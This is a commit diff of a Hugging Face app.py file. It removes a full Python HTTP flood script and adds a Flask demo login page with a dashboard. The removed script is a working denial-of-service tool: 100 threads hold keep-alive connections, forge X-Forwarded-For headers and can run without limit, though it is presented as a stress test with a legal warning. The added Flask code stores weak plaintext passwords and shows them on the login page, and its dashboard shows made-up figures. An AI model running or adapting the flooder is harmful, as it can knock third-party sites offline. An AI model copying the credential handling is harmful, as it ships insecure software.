cnmksjs commited on
Commit
2630ea2
·
verified ·
1 Parent(s): 535dfd0

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +690 -265
app.py CHANGED
@@ -1,282 +1,707 @@
1
- import socket
2
- import threading
3
- import time
4
- import random
5
- import ssl
6
- import sys
7
- from urllib.parse import urlparse
8
 
9
- # ====== 配置区 ======
10
- # !!! 必须修改为你要测试的完整URL !!!
11
- # 示例: "http://example.com/api/test" 或 "https://example.com:8080/path"
12
- TARGET_URL = "http://your-own-test-site.com/some/path"
13
- # ===================
14
 
15
- # 解析目标URL
16
- def parse_target_url(url):
17
- """解析URL,返回协议、域名、端口、路径"""
18
- parsed = urlparse(url)
19
-
20
- # 获取协议
21
- scheme = parsed.scheme if parsed.scheme else 'http'
22
-
23
- # 获取域名
24
- domain = parsed.hostname
25
- if not domain:
26
- print(f"❌ 无法解析URL中的域名: {url}")
27
- sys.exit(1)
28
-
29
- # 获取端口
30
- if parsed.port:
31
- port = parsed.port
32
- elif scheme == 'https':
33
- port = 443
34
- else:
35
- port = 80
36
-
37
- # 获取路径
38
- path = parsed.path if parsed.path else '/'
39
- if parsed.query:
40
- path += f"?{parsed.query}"
41
-
42
- use_https = (scheme == 'https')
43
-
44
- print(f"✅ URL解析结果:")
45
- print(f" 协议: {scheme} {'(HTTPS)' if use_https else '(HTTP)'}")
46
- print(f" 域名: {domain}")
47
- print(f" 端口: {port}")
48
- print(f" 路径: {path}")
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
49
 
50
- return domain, port, path, use_https
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
51
 
52
- # 攻击参数
53
- WORKER_THREADS = 100 # 并发工作线程数
54
- CONNECTIONS_PER_WORKER = 8 # 每个工作线程保持的连接数
55
- REQUEST_INTERVAL = 0.05 # 请求间隔(秒)
56
- RUN_DURATION = 30 # 运行时长(秒),0为无限
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
57
 
58
- # 统计数据
59
- stats = {
60
- 'total_requests': 0,
61
- 'successful': 0,
62
- 'failed': 0,
63
- 'active_connections': 0
64
- }
65
- stats_lock = threading.Lock()
 
66
 
67
- def update_stats(success=True):
68
- with stats_lock:
69
- stats['total_requests'] += 1
70
- if success:
71
- stats['successful'] += 1
72
- else:
73
- stats['failed'] += 1
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
74
 
75
- def print_stats():
76
- with stats_lock:
77
- elapsed = time.time() - stats.get('start_time', time.time())
78
- rps = stats['total_requests'] / elapsed if elapsed > 0 else 0
79
- success_rate = (stats['successful'] / stats['total_requests'] * 100) if stats['total_requests'] > 0 else 0
80
-
81
- print(f"\r📊 请求: {stats['total_requests']} | 成功: {stats['successful']} | "
82
- f"失败: {stats['failed']} | 成功率: {success_rate:.1f}% | "
83
- f"RPS: {rps:.1f} | 活跃连接: {stats['active_connections']}", end='')
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
84
 
85
- class HTTPAttacker:
86
- def __init__(self, target_domain, target_port, base_path, use_https):
87
- self.domain = target_domain
88
- self.port = target_port
89
- self.base_path = base_path
90
- self.use_https = use_https
91
- self.ip = None
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
92
 
93
- # 解析域名获取IP
94
- try:
95
- self.ip = socket.gethostbyname(self.domain)
96
- print(f"✅ 域名解析: {self.domain} -> {self.ip}")
97
- except:
98
- print(f"❌ 无法解析域名: {self.domain}")
99
- sys.exit(1)
100
-
101
- def create_connection(self):
102
- """创建TCP/SSL连接"""
103
- try:
104
- sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
105
- sock.settimeout(5)
106
- sock.connect((self.ip, self.port))
107
-
108
- if self.use_https:
109
- context = ssl.create_default_context()
110
- sock = context.wrap_socket(sock, server_hostname=self.domain)
111
-
112
- with stats_lock:
113
- stats['active_connections'] += 1
114
- return sock
115
- except Exception as e:
116
- return None
117
-
118
- def create_http_request(self, connection_id):
119
- """创建HTTP请求"""
120
- # 随机化请求路径
121
- paths = [self.base_path]
122
- if random.random() > 0.5:
123
- # 添加随机查询参数
124
- paths.append(f"{self.base_path}?id={random.randint(1,1000)}")
125
- if random.random() > 0.7:
126
- # 添加随机后缀
127
- paths.append(f"{self.base_path}/extra/{random.randint(1,100)}")
128
 
129
- path = random.choice(paths)
 
 
 
 
 
 
130
 
131
- # 请求头列表
132
- headers = [
133
- f"GET {path} HTTP/1.1",
134
- f"Host: {self.domain}",
135
- f"User-Agent: Mozilla/5.0 (Connection-{connection_id})",
136
- f"X-Forwarded-For: {random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}",
137
- "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
138
- "Accept-Language: zh-CN,zh;q=0.9,en;q=0.8",
139
- "Accept-Encoding: gzip, deflate",
140
- "Connection: keep-alive",
141
- "Cache-Control: max-age=0",
142
- "\r\n"
143
- ]
 
 
 
 
144
 
145
- return "\r\n".join(headers).encode('utf-8')
 
 
 
 
 
 
 
 
 
146
 
147
- def attack_worker(self, worker_id):
148
- """攻击工作线程"""
149
- connections = []
150
-
151
- # 初始化连接池
152
- for i in range(CONNECTIONS_PER_WORKER):
153
- sock = self.create_connection()
154
- if sock:
155
- connections.append(sock)
156
- time.sleep(0.1)
157
-
158
- end_time = time.time() + RUN_DURATION if RUN_DURATION > 0 else float('inf')
159
-
160
- # 攻击循环
161
- while time.time() < end_time and connections:
162
- for sock in connections[:]:
163
- try:
164
- request = self.create_http_request(worker_id)
165
- sock.send(request)
166
- update_stats(True)
167
-
168
- # 部分接收响应
169
- if random.random() > 0.3:
170
- sock.settimeout(1)
171
- try:
172
- sock.recv(1024)
173
- except:
174
- pass
175
-
176
- # 随机延迟
177
- time.sleep(random.uniform(REQUEST_INTERVAL/2, REQUEST_INTERVAL*2))
178
-
179
- except Exception as e:
180
- # 连接失败,移除并尝试重建
181
- connections.remove(sock)
182
- with stats_lock:
183
- stats['active_connections'] -= 1
184
- update_stats(False)
185
-
186
- # 重建连接
187
- new_sock = self.create_connection()
188
- if new_sock:
189
- connections.append(new_sock)
190
-
191
- # 维持连接池大小
192
- while len(connections) < CONNECTIONS_PER_WORKER:
193
- new_sock = self.create_connection()
194
- if new_sock:
195
- connections.append(new_sock)
196
- time.sleep(0.2)
197
-
198
- # 清理连接
199
- for sock in connections:
200
- try:
201
- sock.close()
202
- with stats_lock:
203
- stats['active_connections'] -= 1
204
- except:
205
- pass
206
 
207
- def main():
208
- """主函数"""
209
- print("=" * 70)
210
- print("🌐 HTTP压力测试工具 - URL版")
211
- print("=" * 70)
212
-
213
- # 法律警告
214
- print("\n⚠️ ⚠️ ⚠️ 重要法律警告:")
215
- print("1. 仅限自有或获得书面授权的测试环境使用")
216
- print("2. 对第三方网站攻击违反《网络安全法》第27条")
217
- print("3. 违法攻击将面临最高7年有期徒刑")
218
- print("=" * 70)
219
 
220
- # 解析URL
221
- target_domain, target_port, base_path, use_https = parse_target_url(TARGET_URL)
222
-
223
- if target_domain == "your-own-test-site.com":
224
- print("\n❌ 请将 TARGET_URL 修改为你要测试的实际URL")
225
- sys.exit(1)
226
-
227
- # 确认
228
- confirm = input(f"\n目标URL: {TARGET_URL}\n确认开始压力测试?(输入'YES'继续): ")
229
- if confirm != "YES":
230
- print("操作取消")
231
- sys.exit(0)
232
-
233
- print(f"\n🚀 启动攻击:")
234
- print(f" 工作线程: {WORKER_THREADS}")
235
- print(f" 每线程连接数: {CONNECTIONS_PER_WORKER}")
236
- print(f" 总并发连接: ~{WORKER_THREADS * CONNECTIONS_PER_WORKER}")
237
- print(f" 运行时长: {'无限' if RUN_DURATION == 0 else f'{RUN_DURATION}秒'}")
238
- print("=" * 70)
239
-
240
- stats['start_time'] = time.time()
241
-
242
- # 创建攻击器实例
243
- attacker = HTTPAttacker(target_domain, target_port, base_path, use_https)
244
-
245
- # 启动统计线程
246
- def stats_printer():
247
- while True:
248
- print_stats()
249
- time.sleep(1)
250
-
251
- stats_thread = threading.Thread(target=stats_printer, daemon=True)
252
- stats_thread.start()
253
-
254
- # 启动工作线程
255
- threads = []
256
- for i in range(WORKER_THREADS):
257
- t = threading.Thread(target=attacker.attack_worker, args=(i,), daemon=True)
258
- t.start()
259
- threads.append(t)
260
- time.sleep(0.05) # 控制线程启动速度
261
-
262
- print(f"\n✅ 已启动 {len(threads)} 个工作线程")
263
- print("⏸️ 按 Ctrl+C 停止测试\n")
264
 
265
- try:
266
- # 等待结束
267
- if RUN_DURATION > 0:
268
- time.sleep(RUN_DURATION)
269
- else:
270
- while True:
271
- time.sleep(1)
272
- except KeyboardInterrupt:
273
- print("\n\n🛑 正在停止测试...")
274
- finally:
275
- # 等待线程结束
276
- time.sleep(2)
277
- print_stats()
278
- print("\n\n📈 测试结束")
279
- print("=" * 70)
280
 
281
- if __name__ == "__main__":
282
- main()
 
 
 
 
 
 
 
 
 
 
1
+ from flask import Flask, render_template_string, request, redirect, session, jsonify
2
+ import os
3
+ from datetime import datetime
 
 
 
 
4
 
5
+ app = Flask(__name__)
6
+ app.secret_key = os.urandom(24)
 
 
 
7
 
8
+ # 预定义的用户名和密码(可修改)
9
+ USERS = {
10
+ "admin": "admin123",
11
+ "user": "password123",
12
+ "guest": "guest123"
13
+ }
14
+
15
+ # HTML模板
16
+ LOGIN_TEMPLATE = '''
17
+ <!DOCTYPE html>
18
+ <html lang="zh-CN">
19
+ <head>
20
+ <meta charset="UTF-8">
21
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
22
+ <title>安全访问系统 - 登录</title>
23
+ <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
24
+ <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
25
+ <style>
26
+ * { font-family: 'Segoe UI', system-ui, sans-serif; }
27
+ body {
28
+ background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
29
+ min-height: 100vh;
30
+ display: flex;
31
+ align-items: center;
32
+ padding: 20px;
33
+ }
34
+ .login-container {
35
+ max-width: 420px;
36
+ width: 100%;
37
+ margin: auto;
38
+ }
39
+ .login-card {
40
+ background: rgba(255, 255, 255, 0.95);
41
+ backdrop-filter: blur(10px);
42
+ border-radius: 20px;
43
+ box-shadow: 0 15px 35px rgba(0, 0, 0, 0.2);
44
+ overflow: hidden;
45
+ border: none;
46
+ }
47
+ .login-header {
48
+ background: linear-gradient(135deg, #4361ee 0%, #3a0ca3 100%);
49
+ padding: 40px 30px;
50
+ text-align: center;
51
+ color: white;
52
+ }
53
+ .login-header h2 {
54
+ font-weight: 700;
55
+ margin-bottom: 10px;
56
+ }
57
+ .login-header p {
58
+ opacity: 0.9;
59
+ margin: 0;
60
+ }
61
+ .login-body {
62
+ padding: 40px;
63
+ }
64
+ .form-control {
65
+ padding: 15px;
66
+ border-radius: 10px;
67
+ border: 2px solid #e0e0e0;
68
+ transition: all 0.3s;
69
+ }
70
+ .form-control:focus {
71
+ border-color: #4361ee;
72
+ box-shadow: 0 0 0 0.25rem rgba(67, 97, 238, 0.25);
73
+ }
74
+ .btn-login {
75
+ background: linear-gradient(135deg, #4361ee 0%, #3a0ca3 100%);
76
+ color: white;
77
+ padding: 15px;
78
+ border-radius: 10px;
79
+ font-weight: 600;
80
+ border: none;
81
+ width: 100%;
82
+ transition: transform 0.3s;
83
+ }
84
+ .btn-login:hover {
85
+ transform: translateY(-2px);
86
+ box-shadow: 0 10px 20px rgba(67, 97, 238, 0.3);
87
+ }
88
+ .password-toggle {
89
+ position: absolute;
90
+ right: 15px;
91
+ top: 50%;
92
+ transform: translateY(-50%);
93
+ cursor: pointer;
94
+ color: #666;
95
+ }
96
+ .form-group {
97
+ position: relative;
98
+ }
99
+ .user-accounts {
100
+ background: #f8f9fa;
101
+ border-radius: 10px;
102
+ padding: 15px;
103
+ margin-top: 20px;
104
+ }
105
+ .user-accounts h6 {
106
+ color: #4361ee;
107
+ margin-bottom: 10px;
108
+ }
109
+ .user-accounts ul {
110
+ margin: 0;
111
+ padding-left: 20px;
112
+ }
113
+ .user-accounts li {
114
+ margin-bottom: 5px;
115
+ font-size: 14px;
116
+ }
117
+ .copyright {
118
+ text-align: center;
119
+ margin-top: 20px;
120
+ color: rgba(255, 255, 255, 0.8);
121
+ font-size: 14px;
122
+ }
123
+ .alert {
124
+ border-radius: 10px;
125
+ border: none;
126
+ }
127
+ .logo {
128
+ font-size: 2.5rem;
129
+ margin-bottom: 15px;
130
+ color: white;
131
+ }
132
+ </style>
133
+ </head>
134
+ <body>
135
+ <div class="login-container">
136
+ <div class="login-card shadow-lg">
137
+ <div class="login-header">
138
+ <div class="logo">
139
+ <i class="fas fa-shield-alt"></i>
140
+ </div>
141
+ <h2>安全访问系统</h2>
142
+ <p>请输入凭证以继续</p>
143
+ </div>
144
+
145
+ <div class="login-body">
146
+ {% if error %}
147
+ <div class="alert alert-danger alert-dismissible fade show">
148
+ {{ error }}
149
+ <button type="button" class="btn-close" data-bs-dismiss="alert"></button>
150
+ </div>
151
+ {% endif %}
152
+
153
+ <form method="POST" action="/login">
154
+ <div class="mb-4">
155
+ <label class="form-label fw-bold">用户名</label>
156
+ <div class="form-group">
157
+ <input type="text" class="form-control" name="username" placeholder="输入用户名" required>
158
+ <span class="password-toggle">
159
+ <i class="fas fa-user"></i>
160
+ </span>
161
+ </div>
162
+ </div>
163
+
164
+ <div class="mb-4">
165
+ <label class="form-label fw-bold">密码</label>
166
+ <div class="form-group">
167
+ <input type="password" class="form-control" id="password" name="password" placeholder="输入密码" required>
168
+ <span class="password-toggle" onclick="togglePassword()">
169
+ <i class="fas fa-eye"></i>
170
+ </span>
171
+ </div>
172
+ </div>
173
+
174
+ <button type="submit" class="btn btn-login mb-4">
175
+ <i class="fas fa-sign-in-alt me-2"></i>登录
176
+ </button>
177
+
178
+ <div class="user-accounts">
179
+ <h6><i class="fas fa-key me-2"></i>测试账户</h6>
180
+ <ul>
181
+ <li><strong>admin</strong> / admin123</li>
182
+ <li><strong>user</strong> / password123</li>
183
+ <li><strong>guest</strong> / guest123</li>
184
+ </ul>
185
+ </div>
186
+ </form>
187
+ </div>
188
+ </div>
189
+
190
+ <div class="copyright">
191
+ © {{ current_year }} 安全访问系统 | 仅限授权访问
192
+ </div>
193
+ </div>
194
 
195
+ <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
196
+ <script>
197
+ function togglePassword() {
198
+ const passwordInput = document.getElementById('password');
199
+ const icon = document.querySelector('#password + .password-toggle i');
200
+
201
+ if (passwordInput.type === 'password') {
202
+ passwordInput.type = 'text';
203
+ icon.className = 'fas fa-eye-slash';
204
+ } else {
205
+ passwordInput.type = 'password';
206
+ icon.className = 'fas fa-eye';
207
+ }
208
+ }
209
+
210
+ // 自动聚焦用户名输入框
211
+ document.addEventListener('DOMContentLoaded', function() {
212
+ document.querySelector('input[name="username"]').focus();
213
+ });
214
+ </script>
215
+ </body>
216
+ </html>
217
+ '''
218
 
219
+ DASHBOARD_TEMPLATE = '''
220
+ <!DOCTYPE html>
221
+ <html lang="zh-CN">
222
+ <head>
223
+ <meta charset="UTF-8">
224
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
225
+ <title>安全仪表板</title>
226
+ <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
227
+ <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
228
+ <script src="https://cdn.jsdelivr.net/npm/chart.js"></script>
229
+ <style>
230
+ * { font-family: 'Segoe UI', system-ui, sans-serif; }
231
+ body {
232
+ background: linear-gradient(135deg, #f5f7fa 0%, #c3cfe2 100%);
233
+ min-height: 100vh;
234
+ }
235
+ .navbar {
236
+ background: linear-gradient(135deg, #4361ee 0%, #3a0ca3 100%);
237
+ box-shadow: 0 4px 12px rgba(0, 0, 0, 0.1);
238
+ }
239
+ .navbar-brand {
240
+ font-weight: 700;
241
+ font-size: 1.5rem;
242
+ }
243
+ .welcome-card {
244
+ background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
245
+ color: white;
246
+ border-radius: 20px;
247
+ border: none;
248
+ margin-bottom: 30px;
249
+ overflow: hidden;
250
+ }
251
+ .welcome-content {
252
+ padding: 40px;
253
+ }
254
+ .welcome-content h1 {
255
+ font-weight: 700;
256
+ font-size: 2.5rem;
257
+ }
258
+ .stat-card {
259
+ border-radius: 15px;
260
+ border: none;
261
+ transition: transform 0.3s, box-shadow 0.3s;
262
+ height: 100%;
263
+ }
264
+ .stat-card:hover {
265
+ transform: translateY(-5px);
266
+ box-shadow: 0 10px 25px rgba(0, 0, 0, 0.1) !important;
267
+ }
268
+ .stat-icon {
269
+ width: 60px;
270
+ height: 60px;
271
+ border-radius: 12px;
272
+ display: flex;
273
+ align-items: center;
274
+ justify-content: center;
275
+ font-size: 1.8rem;
276
+ }
277
+ .card-1 { background: linear-gradient(135deg, #4cc9f0 0%, #4361ee 100%); }
278
+ .card-2 { background: linear-gradient(135deg, #f72585 0%, #b5179e 100%); }
279
+ .card-3 { background: linear-gradient(135deg, #7209b7 0%, #3a0ca3 100%); }
280
+ .card-4 { background: linear-gradient(135deg, #3a86ff 0%, #023e8a 100%); }
281
+ .chart-container {
282
+ background: white;
283
+ border-radius: 15px;
284
+ padding: 25px;
285
+ box-shadow: 0 5px 15px rgba(0, 0, 0, 0.05);
286
+ margin-bottom: 30px;
287
+ }
288
+ .notification-item {
289
+ padding: 15px;
290
+ border-left: 4px solid #4361ee;
291
+ background: #f8f9fa;
292
+ border-radius: 8px;
293
+ margin-bottom: 10px;
294
+ transition: all 0.3s;
295
+ }
296
+ .notification-item:hover {
297
+ background: #e9ecef;
298
+ transform: translateX(5px);
299
+ }
300
+ .quick-action-btn {
301
+ padding: 15px;
302
+ border-radius: 12px;
303
+ font-weight: 600;
304
+ transition: all 0.3s;
305
+ margin-bottom: 10px;
306
+ width: 100%;
307
+ border: 2px solid transparent;
308
+ }
309
+ .quick-action-btn:hover {
310
+ transform: translateY(-3px);
311
+ box-shadow: 0 7px 15px rgba(0, 0, 0, 0.1);
312
+ }
313
+ .footer {
314
+ background: #1a1a2e;
315
+ color: white;
316
+ padding: 30px 0;
317
+ margin-top: 50px;
318
+ }
319
+ .user-avatar {
320
+ width: 50px;
321
+ height: 50px;
322
+ background: linear-gradient(135deg, #4361ee 0%, #3a0ca3 100%);
323
+ border-radius: 50%;
324
+ display: flex;
325
+ align-items: center;
326
+ justify-content: center;
327
+ font-size: 1.5rem;
328
+ color: white;
329
+ font-weight: bold;
330
+ }
331
+ .logout-btn {
332
+ background: transparent;
333
+ border: 2px solid rgba(255, 255, 255, 0.5);
334
+ color: white;
335
+ border-radius: 10px;
336
+ padding: 8px 20px;
337
+ transition: all 0.3s;
338
+ }
339
+ .logout-btn:hover {
340
+ background: rgba(255, 255, 255, 0.1);
341
+ border-color: white;
342
+ }
343
+ .login-time {
344
+ background: rgba(255, 255, 255, 0.1);
345
+ border-radius: 10px;
346
+ padding: 8px 15px;
347
+ font-size: 0.9rem;
348
+ }
349
+ </style>
350
+ </head>
351
+ <body>
352
+ <!-- 导航栏 -->
353
+ <nav class="navbar navbar-expand-lg navbar-dark">
354
+ <div class="container">
355
+ <a class="navbar-brand" href="#">
356
+ <i class="fas fa-shield-alt me-2"></i>安全仪表板
357
+ </a>
358
+
359
+ <div class="d-flex align-items-center">
360
+ <div class="login-time me-3">
361
+ <i class="fas fa-clock me-1"></i> {{ current_time }}
362
+ </div>
363
+ <div class="user-avatar me-3">
364
+ {{ username[0].upper() }}
365
+ </div>
366
+ <div class="d-none d-md-block">
367
+ <span class="text-white me-2">欢迎, <strong>{{ username }}</strong></span>
368
+ </div>
369
+ <a href="/logout" class="logout-btn">
370
+ <i class="fas fa-sign-out-alt me-1"></i> 退出
371
+ </a>
372
+ </div>
373
+ </div>
374
+ </nav>
375
 
376
+ <!-- 主内容 -->
377
+ <div class="container py-4">
378
+ <!-- 欢迎卡片 -->
379
+ <div class="card welcome-card shadow-lg">
380
+ <div class="welcome-content">
381
+ <h1><i class="fas fa-tachometer-alt me-3"></i>欢迎回来!</h1>
382
+ <p class="lead mb-0">您正在访问受保护的安全仪表板。所有数据都经过加密保护。</p>
383
+ </div>
384
+ </div>
385
 
386
+ <div class="row mb-4">
387
+ <!-- 统计卡片 -->
388
+ <div class="col-md-3 col-sm-6 mb-4">
389
+ <div class="card stat-card shadow-sm text-white card-1">
390
+ <div class="card-body">
391
+ <div class="d-flex align-items-center">
392
+ <div class="stat-icon me-3">
393
+ <i class="fas fa-sign-in-alt"></i>
394
+ </div>
395
+ <div>
396
+ <h2 class="mb-0">142</h2>
397
+ <p class="mb-0 opacity-75">登录次数</p>
398
+ </div>
399
+ </div>
400
+ </div>
401
+ </div>
402
+ </div>
403
+
404
+ <div class="col-md-3 col-sm-6 mb-4">
405
+ <div class="card stat-card shadow-sm text-white card-2">
406
+ <div class="card-body">
407
+ <div class="d-flex align-items-center">
408
+ <div class="stat-icon me-3">
409
+ <i class="fas fa-clock"></i>
410
+ </div>
411
+ <div>
412
+ <h2 class="mb-0">36.5h</h2>
413
+ <p class="mb-0 opacity-75">在线时长</p>
414
+ </div>
415
+ </div>
416
+ </div>
417
+ </div>
418
+ </div>
419
+
420
+ <div class="col-md-3 col-sm-6 mb-4">
421
+ <div class="card stat-card shadow-sm text-white card-3">
422
+ <div class="card-body">
423
+ <div class="d-flex align-items-center">
424
+ <div class="stat-icon me-3">
425
+ <i class="fas fa-tasks"></i>
426
+ </div>
427
+ <div>
428
+ <h2 class="mb-0">89%</h2>
429
+ <p class="mb-0 opacity-75">完成进度</p>
430
+ </div>
431
+ </div>
432
+ </div>
433
+ </div>
434
+ </div>
435
+
436
+ <div class="col-md-3 col-sm-6 mb-4">
437
+ <div class="card stat-card shadow-sm text-white card-4">
438
+ <div class="card-body">
439
+ <div class="d-flex align-items-center">
440
+ <div class="stat-icon me-3">
441
+ <i class="fas fa-shield-alt"></i>
442
+ </div>
443
+ <div>
444
+ <h2 class="mb-0">A+</h2>
445
+ <p class="mb-0 opacity-75">安全评级</p>
446
+ </div>
447
+ </div>
448
+ </div>
449
+ </div>
450
+ </div>
451
+ </div>
452
 
453
+ <div class="row">
454
+ <!-- 图表区域 -->
455
+ <div class="col-lg-8 mb-4">
456
+ <div class="chart-container">
457
+ <h4 class="mb-4"><i class="fas fa-chart-line me-2"></i>访问统计图表</h4>
458
+ <canvas id="accessChart" height="250"></canvas>
459
+ </div>
460
+
461
+ <div class="chart-container">
462
+ <h4 class="mb-4"><i class="fas fa-user-check me-2"></i>用户活动</h4>
463
+ <div class="row">
464
+ <div class="col-md-6">
465
+ <h6 class="text-muted">最近登录</h6>
466
+ <ul class="list-group list-group-flush">
467
+ <li class="list-group-item d-flex justify-content-between">
468
+ <span><i class="fas fa-circle text-success me-2"></i> admin</span>
469
+ <small class="text-muted">刚刚</small>
470
+ </li>
471
+ <li class="list-group-item d-flex justify-content-between">
472
+ <span><i class="fas fa-circle text-warning me-2"></i> user</span>
473
+ <small class="text-muted">2小时前</small>
474
+ </li>
475
+ <li class="list-group-item d-flex justify-content-between">
476
+ <span><i class="fas fa-circle text-secondary me-2"></i> guest</span>
477
+ <small class="text-muted">昨天</small>
478
+ </li>
479
+ </ul>
480
+ </div>
481
+ <div class="col-md-6">
482
+ <h6 class="text-muted">系统状态</h6>
483
+ <div class="progress mb-3" style="height: 10px;">
484
+ <div class="progress-bar bg-success" style="width: 85%"></div>
485
+ </div>
486
+ <p class="small mb-1">CPU使用率: <strong>32%</strong></p>
487
+ <p class="small mb-1">内存使用: <strong>4.2/8GB</strong></p>
488
+ <p class="small mb-0">存储空间: <strong>128/256GB</strong></p>
489
+ </div>
490
+ </div>
491
+ </div>
492
+ </div>
493
+
494
+ <!-- 侧边栏 -->
495
+ <div class="col-lg-4">
496
+ <!-- 通知 -->
497
+ <div class="chart-container mb-4">
498
+ <h4 class="mb-4"><i class="fas fa-bell me-2"></i>系统通知</h4>
499
+ <div class="notification-item">
500
+ <h6>安全更新完成</h6>
501
+ <p class="small mb-0 text-muted">系统已自动更新到最新安全版本</p>
502
+ <small class="text-primary">今天 10:30</small>
503
+ </div>
504
+ <div class="notification-item">
505
+ <h6>登录提醒</h6>
506
+ <p class="small mb-0 text-muted">您的账户有新的登录记录</p>
507
+ <small class="text-primary">昨天 14:25</small>
508
+ </div>
509
+ <div class="notification-item">
510
+ <h6>维护通知</h6>
511
+ <p class="small mb-0 text-muted">系统将于本周日进行例行维护</p>
512
+ <small class="text-primary">3天前</small>
513
+ </div>
514
+ </div>
515
+
516
+ <!-- 快速操作 -->
517
+ <div class="chart-container">
518
+ <h4 class="mb-4"><i class="fas fa-bolt me-2"></i>快速操作</h4>
519
+ <div class="row g-2">
520
+ <div class="col-6">
521
+ <button class="quick-action-btn btn btn-outline-primary">
522
+ <i class="fas fa-cog me-2"></i>设置
523
+ </button>
524
+ </div>
525
+ <div class="col-6">
526
+ <button class="quick-action-btn btn btn-outline-success">
527
+ <i class="fas fa-file-alt me-2"></i>报告
528
+ </button>
529
+ </div>
530
+ <div class="col-6">
531
+ <button class="quick-action-btn btn btn-outline-info" onclick="refreshData()">
532
+ <i class="fas fa-sync-alt me-2"></i>刷新
533
+ </button>
534
+ </div>
535
+ <div class="col-6">
536
+ <a href="/logout" class="quick-action-btn btn btn-outline-danger">
537
+ <i class="fas fa-sign-out-alt me-2"></i>退出
538
+ </a>
539
+ </div>
540
+ </div>
541
+ </div>
542
+
543
+ <!-- 用户信息 -->
544
+ <div class="chart-container mt-4">
545
+ <h4 class="mb-4"><i class="fas fa-user me-2"></i>账户信息</h4>
546
+ <div class="d-flex align-items-center mb-3">
547
+ <div class="user-avatar me-3">
548
+ {{ username[0].upper() }}
549
+ </div>
550
+ <div>
551
+ <h5 class="mb-0">{{ username }}</h5>
552
+ <p class="text-muted small mb-0">
553
+ 权限: <span class="badge bg-primary">
554
+ {% if username == 'admin' %}管理员{% else %}普通用户{% endif %}
555
+ </span>
556
+ </p>
557
+ </div>
558
+ </div>
559
+ <div class="small text-muted">
560
+ <p><i class="fas fa-calendar me-2"></i> 注册日期: 2023-01-15</p>
561
+ <p><i class="fas fa-laptop me-2"></i> 最后登录IP: 192.168.1.{{ range(100, 255)|random }}</p>
562
+ <p><i class="fas fa-map-marker-alt me-2"></i> 登录位置: 中国</p>
563
+ </div>
564
+ </div>
565
+ </div>
566
+ </div>
567
+ </div>
568
+
569
+ <!-- 页脚 -->
570
+ <div class="footer">
571
+ <div class="container text-center">
572
+ <p class="mb-2">
573
+ <i class="fas fa-shield-alt me-2"></i>安全访问系统 v2.1
574
+ </p>
575
+ <p class="mb-0 text-white-50 small">
576
+ © {{ current_year }} 安全技术有限公司 | 所有数据均经过加密处理
577
+ </p>
578
+ </div>
579
+ </div>
580
 
581
+ <script>
582
+ // 初始化图表
583
+ document.addEventListener('DOMContentLoaded', function() {
584
+ const ctx = document.getElementById('accessChart').getContext('2d');
585
+ const chart = new Chart(ctx, {
586
+ type: 'line',
587
+ data: {
588
+ labels: ['一月', '二月', '三月', '四月', '五月', '六月', '七月'],
589
+ datasets: [{
590
+ label: '访问量',
591
+ data: [65, 78, 90, 81, 86, 95, 120],
592
+ borderColor: '#4361ee',
593
+ backgroundColor: 'rgba(67, 97, 238, 0.1)',
594
+ borderWidth: 3,
595
+ fill: true,
596
+ tension: 0.4
597
+ }]
598
+ },
599
+ options: {
600
+ responsive: true,
601
+ plugins: {
602
+ legend: {
603
+ display: true
604
+ }
605
+ },
606
+ scales: {
607
+ y: {
608
+ beginAtZero: true,
609
+ grid: {
610
+ drawBorder: false
611
+ }
612
+ },
613
+ x: {
614
+ grid: {
615
+ display: false
616
+ }
617
